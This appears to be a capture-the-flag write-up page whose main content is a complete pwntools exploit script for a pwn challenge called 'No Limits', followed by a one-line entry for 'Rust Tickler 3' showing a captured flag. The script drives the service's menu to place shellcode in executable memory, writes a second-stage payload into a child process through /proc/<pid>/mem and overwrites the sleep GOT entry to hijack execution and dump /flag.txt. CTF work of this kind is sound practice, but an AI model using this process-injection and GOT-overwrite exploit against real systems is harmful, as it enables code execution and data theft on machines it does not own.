2025-10-30

⚒️ No Limits

image.png

image.png

cat doit.py               
#!/usr/bin/env python3
from pwn import asm, log, remote, shellcraft, context

HOST, PORT = "10.1.202.204", 9999

# Architecture / environment
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"

# Targets in the remote binary
SLEEP_GOT = 0x4040a8
LANDING = 0x401443

def build_stage2() -> bytes:
    sc = asm("endbr64;")

    # Open '/flag.txt' only. If open fails, exit cleanly.
    sc += asm(
        shellcraft.open("/flag.txt", 0)
        + "cmp rax, 0\n"
        + "jl done\n"
        + "opened:\n"
        + shellcraft.read("rax", "rsp", 0x400)
        + shellcraft.write(1, "rsp", 0x400)
        + "done:\n"
        + shellcraft.exit(0)
    )

    return sc

def build_stage1(child_pid: int, stage2: bytes) -> bytes:
   
    stage2_bytes = ",".join(f"0x{b:02x}" for b in stage2)
    proc_path = f"/proc/{child_pid}/mem\x00"

    asm_src = f"""
        .intel_syntax noprefix
        {shellcraft.pushstr(proc_path)}
        mov rdi, rsp
        mov rsi, 2
        xor rdx, rdx
        mov rax, 2
        syscall
        mov r12, rax

        /* seek to LANDING */
        mov rdi, r12
        mov rax, 8
        mov rsi, {LANDING}
        xor rdx, rdx
        syscall

        /* write stage2 bytes into child mem */
        mov rdi, r12
        lea rsi, [rip + stage2_blob]
        mov rdx, {len(stage2)}
        mov rax, 1
        syscall

        /* seek to SLEEP_GOT */
        mov rdi, r12
        mov rax, 8
        mov rsi, {SLEEP_GOT}
        xor rdx, rdx
        syscall

        /* write LANDING into GOT by writing bytes (printed via write) */
        mov rdi, r12
        mov rax, {LANDING}
        push rax
        mov rsi, rsp
        mov rdx, 8
        mov rax, 1
        syscall
        add rsp, 8

    .loop:
        jmp .loop

    stage2_blob:
        .byte {stage2_bytes}
    """

    return asm(asm_src)

def expect(io, needle: bytes, timeout: float = 5.0) -> None:

    log.info(f"waiting for: {needle!r}")
    try:
        io.recvuntil(needle, timeout=timeout)
    except EOFError:
        data = io.clean(timeout=0.2)
        log.error(f"EOF while waiting for {needle!r}. Got so far:\n{data}")
        raise
    except TimeoutError:
        data = io.clean(timeout=0.2)
        log.error(f"Timeout waiting for {needle!r}. Buffer:\n{data}")
        raise

def get_child_pid(io) -> int:

    expect(io, b"Enter the command you want to do:")
    expect(io, b"4) Exit")
    io.sendline(b"2")
    expect(io, b"Child PID = ")
    pid = int(io.recvline().strip())
    log.success(f"Child PID: {pid}")
    return pid

def create_mem_and_write(io, blob: bytes) -> int:

    alloc = len(blob) + 1  # fgets expects newline-terminated input

    expect(io, b"Enter the command you want to do:")
    expect(io, b"4) Exit")
    io.sendline(b"1")

    expect(io, b"How big do you want your memory to be?")
    io.sendline(str(alloc).encode())

    expect(io, b"What permissions would you like for the memory?")
    io.sendline(b"7")

    expect(io, b"What do you want to include?")
    log.info(f"sending payload {len(blob)+1} bytes")
    io.send(blob + b"\n")

    expect(io, b"Wrote your buffer at ")
    addr = int(io.recvline().strip(), 16)
    log.success(f"stage1 buffer at {hex(addr)}")
    return addr

def exec_code(io, addr: int) -> None:

    expect(io, b"Enter the command you want to do:")
    expect(io, b"4) Exit")
    io.sendline(b"3")
    expect(io, b"Where do you want to execute code?")
    io.sendline(hex(addr).encode())

def main() -> None:
    io = remote(HOST, PORT)

    # 1) obtain child pid so we can write into its memory
    pid = get_child_pid(io)

    # 2) build stage2 (now only tries '/flag.txt') and stage1
    stage2 = build_stage2()
    stage1 = build_stage1(pid, stage2)
    log.info(f"stage1 size: {len(stage1)}  stage2 size: {len(stage2)}")

    # 3) create memory on the service and write stage1 there
    buf_addr = create_mem_and_write(io, stage1)

    # 4) execute stage1 (which will write stage2 into the child's .text and patch sleep@got)
    exec_code(io, buf_addr)

    # 5) receive any output (flag) printed by the stage2 shellcode
    log.info("Waiting")
    data = io.recv(timeout=15.0)
    if data:
        print(data.decode("latin-1", errors="replace"))

    # keep socket open a bit more just in case there's more output
    more = io.recv(timeout=10.0)
    if more:
        print(more.decode("latin-1", errors="replace"))

if __name__ == "__main__":
    main()
                      

⚙️ Rust Tickler 3

image.png

Thanks team!
flag{fb8de641f383151222845d9b991a17c2}